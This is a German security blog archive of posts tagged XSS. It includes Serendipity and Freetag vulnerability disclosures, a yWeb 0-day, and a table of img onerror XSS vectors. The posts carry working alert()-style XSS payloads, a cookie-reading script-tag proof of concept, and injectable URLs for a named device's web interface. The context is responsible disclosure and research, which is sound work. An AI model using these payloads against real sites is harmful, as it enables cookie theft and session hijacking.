Alex' blog (Artikel mit Tag xss)

Neue Hakin9-Ausgabe: Nr. 35 / 05-2008

nospam@example.com (Alex) — Fri, 22 Aug 2008 22:13:43 +0200

Ich bin mal wieder in der neusten Ausgabe als Autor vertreten. Dieses Mal mit dem kurzen Tool-Artikel "Dnsmap", welcher schon in der vorletzten Ausgabe für die letzte Ausgabe angekündigt war. An mir liegt diese Verspätung allerdings nicht !
Der in der letzten Ausgabe versprochene Tool-Artikel zu "Verinice", einem ISMS-Tool, fehlt. Dies liegt aber auch nicht an mir. Vermutlich kommt dieser Artikel in der nächsten Ausgabe Anfang November.

Die neue Ausgabe beinhaltet noch folgende weitere Artikel:

Angriffserkennung über Benutzerverhalten
Schwachstellen in Webanwendungen
Apache Basisschutz
IPv6 Superworm aka Teredo
Sprachstörungen - Netzwerke unter Beschuss
E-Mail-Sicherheit
Advanced Encryption Standard AES
Weiterbildung mittels Security-Zertifizierungen
Evolution der IT-Sicherheit
EVB-IT
Wenn der Kunde zum König wird

Beim Durchblättern ist mir bereits aufgefallen, dass Yannick von Arx, der Autor des Artikels "Weiterbildung mittels Security-Zertifizierungen", überhaupt nicht auf Zertifizierungen zum Auditor nach ISO 27001 respektive BSI-Grundschutz eingeht.
Eigentlich schade darum, aber Zertifizierungen dieser Art sind eher weniger etwas für einen selbst. Vielleicht ist das der Grund, weshalb er diese in seinem Artikel vernachlässigt hat.

XSS-Schwachstelle in Serendpity-Plugin Freetag

nospam@example.com (Alex) — Thu, 07 Feb 2008 20:30:00 +0100

Ich habe vor ein paar Tagen eine Cross Site Scripting (XSS) Schwachstelle in einem sehr beliebten Plugin für die Weblog-Software "Serendipity" namens "Freetag" gefunden.

Das Advisory zur Schwachstelle gibt es hier.

Um es kurz zu machen: es gibt bereits ein Update, welches dringendst eingespielt werden sollte, sofern man das Freetag-Plugin integriert hat !
(Der aktuelle XSS-Vektor ist auf IE 6, IE 7 und Netscape Navigator 8.1 (im IE-Rendering Mode) ausgelegt.)
Ein Eintrag von Garvin Hicking befindet sich dazu hier.

Im Gegensatz zu meinen sonst rein deutschsprachigen Beiträgen hier im Blog, ist das Advisory selbstverständlich in englischer Sprache gehalten ! Es ist momentan aber noch nicht online, da es eigentlich erst für morgen geplant war.

Update: Advisory ist nun online. / Advisory is now online.
Mit einem entsprechenden Google Dork lassen sich leicht unzählige verwundbare Webseiten finden. Dieser Google Dork wird zur Sicherheit allerdings nicht veröffentlicht werden.

Update 2: CVE-Candidate: CVE-2008-0751.

Wie man es nicht machen sollte - revisited

nospam@example.com (Alex) — Wed, 16 Jan 2008 16:33:00 +0100

Nach mehr als einem Monat Zeit funktioniert dies hier noch immer. Dabei bräuchte es nicht einmal fünf Minuten, um es in Ordnung zu bringen.
Und ja, es wurde dem Mobilfunk-Provider gemeldet (mit Rückantwort).

Neuer XSS-Angriffsvektor

nospam@example.com (Alex) — Sat, 05 Jan 2008 19:49:22 +0100

Nicht wirklich neu, aber er fehlt noch in RSnakes XSS Cheat Sheet:

<img src=. onerror=alert('XSS')>

Getestet in Firefox 2.0.0.11, Opera 9.25, Internet Explorer 7 und Safari 3.04 Beta (Windows).

Allerdings gibt es noch einige andere Varianten, die wie folgt funktionieren:

0<img src=\ onerror=alert(0)>FF2: 0 / IE7: 1 / O: 1 / S: 1 1<img src="/" onerror=alert(1)>FF2: 0 / IE7: 1 / O: 1 / S: 1 2<img src="." onerror=alert(2)>FF2: 1 / IE7: 1 / O: 1 / S: 1 3<img src="" onerror=alert(3)>FF2: 1 / IE7: 1 / O: 0 / S: 0 4<img src=. onerror=alert(4)>FF2: 1 / IE7: 1 / O: 1 / S: 1 5<img src=/ onerror=alert(5)>FF2: 0 / IE7: 1 / O: 1 / S: 1 6<img src= onerror=alert(6)>FF2: 0 / IE7: 0 / O: 0 / S: 0 7<img src onerror=alert(7)>FF2: 1 / IE7: 0 / O: 0 / S: 0 8<img onerror=alert(8)>FF2: 0 / IE7: 0 / O: 0 / S: 0 9<img src="\" onerror=alert(9)>FF2: 0 / IE7: 1 / O: 1 / S: 1(0 = funktioniert nicht; 1 = funktioniert)

XSS-Bug in Serendipity

nospam@example.com (Alex) — Wed, 02 Jan 2008 19:21:00 +0100

In Serendipity existiert eine Schwachstelle, die sich für XSS-Angriffe nutzen lässt.

Ganz so dramatisch, wie dies jetzt klingt, ist sie allerdings nicht und dürfte wahrscheinlich auch nur wenige Serendipity-User betreffen, da hier auf mehrere Autoren im System gesetzt wird von denen mindestens ein Autor böswillige Absichten hat.
Die Schwachstelle resultiert aus einer fehlenden Bereinigung der Titel-Zeile eines entsprechend präparierten Eintrags, wenn darauf mit einem (un)moderierten Kommentar geantwortet wurde.

Da in Serendipity generell HTML- und auch JavaScript-Code erlaubt ist, ist dies eigentlich keinen Blog-Eintrag wert, da dies by design erlaubt ist und somit als Feature und nicht als Bug verstanden werden soll.

Wer aber zusammen mit anderen Autoren in einem Blog Einträge verfasst (egal ob in diesem Blog zur Sicherheit das Event-Plugin "XSSTrust" eingesetzt wird oder nicht), kann auf diese Weise an gültige Cookies anderer Autoren oder gar des Administrators gelangen.

Ein böswilliger Autor erstellt einen neuen Eintrag mit bspw. dem folgenden Titel:

<script>alert(document.cookie)</script>

Wenn dieser Autor danach einen Kommentar zu seinem Eintrag verfasst und später ein anderer Autor oder gar ein Administrator auf die "Kommentare"-Seite in der Serendipity-Verwaltungsoberfläche geht, so wird dessen Cookie in einer Dialogbox des Webbrowsers angezeigt. (Natürlich ließe sich der Cookie auch an der Angreifer hinschicken o.ä. ...)

Wer auf das XSSTrust-Plugin setzt, ist aber auch nicht auf der sicheren Seite. Nur wenn der böse Autor seinen Code in den Eintrag direkt schreibt und vorher vom Administrator blackgelistet wurde passiert nichts ungewolltes. Anderenfalls wird der Code aus dem Titel auf der Kommentar-Seite trotzdem ausgeführt !

Um den Angriff etwas zu verschleiern, könnte ein böswilliger Autor den Titel seines Eintrags auch wie folgt wählen:

Foobar<script>alert(document.cookie)</script>

und den Eintrag auf ein Datum in der Vergangenheit setzen, so dass dieser Eintrag nicht mehr auf der "Einträge bearbeiten"-Seite direkt erscheint und ebenfalls nicht auf der Blog-Startseite, da hier HTML-Entities verwendet werden. Auf der "Kommentare"-Seite erscheint jetzt der Text Foobar als Titel und bleibt nicht einfach mehr leer, was weniger verräterisch ist.

Ich habe mich über dieses Problem mit Garvin Hicking unterhalten und er hat diesen Bug auch gleich im Repository von Serendipity behoben.

Neues Buch: The Web Application Hacker's Handbook

nospam@example.com (Alex) — Thu, 27 Dec 2007 22:44:00 +0100

Seit heute bin ich stolzer Besitzer eines neuen Buches: "The Web Application Hacker's Handbook" (ISBN-13: 978-0470170779). Geschrieben von den beiden Autoren Dafydd Stuttard und Marcus Pinto.

Ich bin gespannt auf das, was mir in den letzten Jahren u.U. entgangen sein sollte. Hoffentlich nicht viel.

Update: Komplett durchgelesen habe ich das Buch bisher zwar noch nicht, aber es fehlt definitiv die Erwähnung der Header "Range" und "Request-Range". Schließlich lässt sich mit letzterem einiges anstellen.

Neue Winterreifen

nospam@example.com (Alex) — Wed, 26 Dec 2007 20:36:00 +0100

Ich brauche dringend neue Winterreifen, da die alten Reifen

(fast) alle unterschiedlicher Marke sind;
über sechs Jahre alt sind;
teilweise einen Riss haben;
ein Profil von nur noch ca. 2 mm haben, sofern ich dies das letztes Mal beim TÜV richtig gehört habe.

Geplant war das für diesen Winter sowieso. Und dank Weihnachten kann ich mir das auch endlich leisten. Das es jetzt auf Winterreifen auch noch Rabatt gibt, kommt mir zudem entgegen.

Bislang eigentlich noch kein Grund, um dies als Beitrag in die Kategorie "IT-Security" zu stellen oder überhaupt zu veröffentlichen. Dieser folgt aber sogleich:

Und zwar habe ich bei meiner Reifen-Recherche bei A.T.U ein (ganz triviales) XSS-Problem festgestellt. Da es auf der Webseite einen Online-Shop gibt, ist das natürlich schon interessanter. Mal sehen, ob ich noch mehr Rabatt auf meinen Reifeneinkauf bekomme, wenn ich vor Ort entsprechende Hinweise loswerde.

Gefährliche Flash-Applikationen

nospam@example.com (Alex) — Wed, 26 Dec 2007 10:05:00 +0100

Wie man vor drei Tagen lesen konnte, warnt die Fachzeitschrit c't in ihrem Newsticker vor gefährliche Flash-Applets, die anfällig für bestimmte XSS-Attacken sind.

Sicherheitsexperten von Google und iSEC hätten zusammen über 500000 dafür anfällige Flash-Applikationen gefunden und würden ihre gewonnenen Erkenntnisse in ihrem neusten Buch, welches Anfang 2008 mit dem Titel "Hacking Exposed Web 2.0" erscheinen wird, veröffentlichen.

Wer sich wie ich in IT-Security-Kreisen bewegt, der weiß, dass dies keine Neuigkeit, sondern bereits ein alter Hut ist. Wer also vor der Veröffentlichungen dieses Buches wissen will, was (aller Wahrscheinlichkeit nach) genau entdeckt wurde, der liest hier einfach am besten weiter (ab ca. der Hälfte).

Update: Wahrscheinlichkeiten sind eben so eine Sache für sich. Es handelt sich tatsächlich um eine andere Entdeckung, welche aber der bereits bekannten sehr ähnlich ist.

nospam@example.com (Alex) — Sun, 16 Dec 2007 13:10:17 +0100

Ja, der Titel dieses Beitrags sieht durchaus so aus wie ein gängiger (aber recht einfallsloser) Injektion-Vektor. Wer jetzt plötzlich ein Meldungsfenster mit dem Text "0" aufgehen sieht, der hat in seiner verwendeten Software (Planet, Akregator, etc.) definitiv ein Problem.

Wie man es nicht machen sollte

nospam@example.com (Alex) — Wed, 12 Dec 2007 23:19:00 +0100

Gegeben sei folgende Situation: eine Webseite eines großen, deutschen Mobilfunk-Providers benutzt Frames. Um den HTML-Code für das Frameset zu schreiben wird JavaScript benutzt. Ohne aktiviertes JavaScript tut sich gar nichts. Nicht einmal ein Hinweis wird ausgegeben, dass der Benutzer doch bitte JavaScript aktivieren sollte.
An sich schon mal aus mehreren Gründen keine gute Idee.

Gegeben sei auch besagtes JavaScript, welches ich auf die wesentlichen Bestandteile reduziert habe (der JS-Code war auch ziemlich grauenhaft):

document.write("<frameset rows='100,*'>");
document.write("<frame src='header.php' name='top'>");

var path = location.search.substring(1, location.search.length);

if (path.length == 0)
{
path = "index.php";
}

document.write("<frame src='" + path + "' name='bottom'>");
document.write("</frameset>");

Hier liegt ein klassisches XSS-Problem vor: auf einfache Art und Weise lässt sich der untere Frame komplett austauschen.

Vulnerable Adobe Acrobat plugin detection for UXSS

nospam@example.com (Alex) — Fri, 01 Jun 2007 22:03:40 +0200

Ich habe mich heute ein wenig mit Ronald van den Heetkamp, wahrscheinlich besser bekannt als jungsonn, über UXSS (Universal XSS) unterhalten.

Die Frage war, ob sich schon jemand mit der Detektion von anfälligen Adobe Acrobat Reader Installationen beschäftigt hat. Es schien nicht so.

Daher ist ein JavaScript herausgekommen, welches zuerst auf einen installiertes Adobe Acrobat Plugin prüft und wenn vorhanden, dann die Version ermittelt, um letztendlich sagen zu können, ob man ein Problem hat oder nicht.

Weil Ronald wesentlich schneller als ich darüber gebloggt hat, siehe auch sein Blog-Eintrag hier (inkl. Skript).

Wenn man ein Problem hat, dann ist man anfällig für XSS-Angriffe, die sich des Vorhandenseins eines beliebigen PDF-Dokuments bedienen, um ausgeführt werden zu können. Bei den (definitiv) verwundbaren Versionen 6.x und 7.x (außer 7.9) muss JavaScript im Acrobat aktiviert sein, was allerdings die Standardeinstellung ist, um einem UXSS-Angriff erliegen zu können.

Das Skript prüft momentan noch nicht auf Versionen kleiner 6.x, weil dort erst noch geklärt werden muss, ob UXSS-Angriffe funktionieren. Angeblich ist seit Version 3.x von ungefähr 1996 JavaScript in PDF-Dokumenten möglich. Version 7.9 ist laut Christ1an bereits auch nicht mehr verwundbar. Version 8.x bekannterweise auch nicht.

Diese Erkennungs- und warnroutine kann zum Beispiel in die Projekte "Black Dragon" (von Ronald van den Heetkamp) und in Robert Hansens (besser bekannt als RSnake) "Master Recon-Tool" (kurz: "Mr. T"). integriert werden.

Update: Auf einer alten CD habe ich noch einen Adobe Acrobat Reader 5 gefunden und auch gleich mal installiert, um testen zu können, ob die Version überhaupt für UXSS anfällig ist und ob man dementsprechend davor warnen müsste und somit das Skript abgeändert werden sollte.
Aus einem mir bislang unerfindlichen Grund mag der Acrobat 5.01.x aber nicht starten. Sei es drum. Aber das Plugin im Firefox funktioniert - also zumindest ist es korrekt installiert - und der daraus ausgelesene String passt vom Schema her zu den Versionen 6.x - 7.x. Nachdem ich dann ein wenig im Internet gesucht habe, ist mir ein Kommentar in Jeremiah Grossmans Blog aufgefallen, der aussagt, dass der IE 6.0 mit SP2 und Acrobat 5.x anfällig für UXSS ist. Wenn man ausgeht, dass dieser Kommentar von einer anonymen Person (ich kann also nicht nachfragen) stimmt, dann sollte man das JavaScript zwecks Benutzerwarnung nun minimal abändern. (Wegen Trivialität gibt es hier dazu keinen Quellcode.)
Fraglich sind also weiterhin Versionen vor 5.x.

JavaScript ist böse

nospam@example.com (Alex) — Sun, 29 Apr 2007 19:32:00 +0200

... und wird uns in den nächsten Jahren im IT-Security Bereich noch ganz besonders große Kopfschmerzen bereiten.

Ich bin da momentan auch an einer interessanten Arbeit dran. Mehr dazu zu gegebener Zeit hier im Blog.

Buch-Empfehlung: Cross Site Scripting Attacks: XSS Exploits And Defense

nospam@example.com (Alex) — Thu, 19 Apr 2007 10:41:00 +0200

Ich habe festgestellt, dass sich teilweise arg wenig Beiträge in einigen Kategorien habe. Das sollte ich mal ändern.
Und hiermit fange ich gleich einmal damit an: Eine Buch-Empfehlung.

Um ehrlich zu sein kann ich dieses Buch nicht wirklich empfehlen, weil ich es selber noch gar nicht habe. Wird wahrscheinlich mein Geburtstagsgeschenk werden. Auch Lesestoff zur Probe aus diesem Buch habe ich bislang nicht gefunden, so dass mir eigentlich die Basis für eine Empfehlung fehlt.

Jetzt kommt aber das große Aber: Ich kenne die Autoren. Das muss reichen als Begründung für die Empfehlung. Es gibt sicherlich kaum jemand besseren auf dieser Welt, der zu dem Thema XSS hätte schreiben sollen als die fünf Autoren: Seth Fogie, Jeremiah Grossman, Robert Hansen, Petko D. Petkow und Anton Rager.

Sobald ich besagtes Buch besitze und es dann wenigstens einmal schnell überflogen habe, werde ich diesen Beitrag updaten. Aller Wahrscheinlichkeit nach nur mit Lob.

Das Buch ist brandneu. Komischerweise ist es auf einmal nicht mehr über Amazon Deutschland zu beziehen, sondern nur noch über Amazon.com ... Darüber muss man allerdings nicht wirklich verärgert sein, da es eh keine deutsche Übersetzung bislang gibt bzw. gab.

Wer dem Englischen nicht mächtig ist, der hat natürlich ein Problem. (Das hat er aber in der heutigen Welt dann sowieso.)
Die restlichen Daten zum Buch:

Titel: XSS Exploits - Cross Site Scripting Attacks - XSS Exploits And Defense
Seiten: 544
Verlag: Syngress Publishing (01. März 2007)
ISBN-10: 1597491543
ISBN-13: 978-1597491549
Preis: ca. 41 USD

Update: Leider kann man schon am Probekapitel unschwer erkennen, dass sich recht viele inhaltliche Fehler eingeschlichen haben. Daher empfehle ich das Warten auf die zweite (englische) Ausgabe.

0-day: XSS in yWeb 2.5.1

nospam@example.com (Alex) — Mon, 16 Apr 2007 09:01:00 +0200

Wie ich schon einmal hier schrieb, bin ich auch für "Responsible Disclosure", aber in diesem Fall kann man eine Ausnahme machen, da man hier von keinen schlimmen Konsequenzen für die Besitzer von umgebauten d-Box 2 auszugehen ist.

Link 1:

http://d-box2/Y_Live.yhtm?typ=popup&mode=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

Das Webinterface einer auf Neutrino umgerüsteten d-Box 2 nennt sich yWeb.
Wer CVS-Snapshots benutzt, der hat bereits die Version 2.5.1 auf seinem Gerät. Ich bin zufällig darüber gestolpert. Sicherlich wird es noch viel mehr solcher Lücken geben.
U.U. ist diese Lücke auch schon in früheren Versionen vorhanden. Das habe ich bislang nicht überprüft und werde ich auch nicht mehr machen, da ich dazu die Firmware wieder downgraden müsste.

Da yWeb nur auf der d-Box 2 (vielleicht auch auf der d-Box !?) zum Einsatz kommt, kann man das Risiko, das von dieser Lücke ausgeht auf so gut wie 0 % setzen.
(In Verbindung mit Jikto sieht das natürlich wieder ein bisschen anders aus.)

Update: Dieses Mal habe ich mit Absicht nochmal nach ein paar Lücken gesucht ... ganz drei Minuten lang und ohne Quellcode. Das Ergebnis:

Link 2:

http://d-box2/Y_Live.yhtm?browser=<script>alert("XSS")</script>&type=live&mode=tv

Link 3:

http://d-box2/Y_LiveViewFull.yhtm?mode=radio&typ=<script>alert("XSS")</script>

Link 4:

http://d-box2/Y_LiveViewFull.yhtm?mode=<script>alert("XSS")</script>&typ=live

Und dann noch massig XSS über POST. Evtl. gehen sie auch umgeschrieben als GET, aber dazu war ich zu faul. Das Gerät ist kein lohnenswertes Ziel.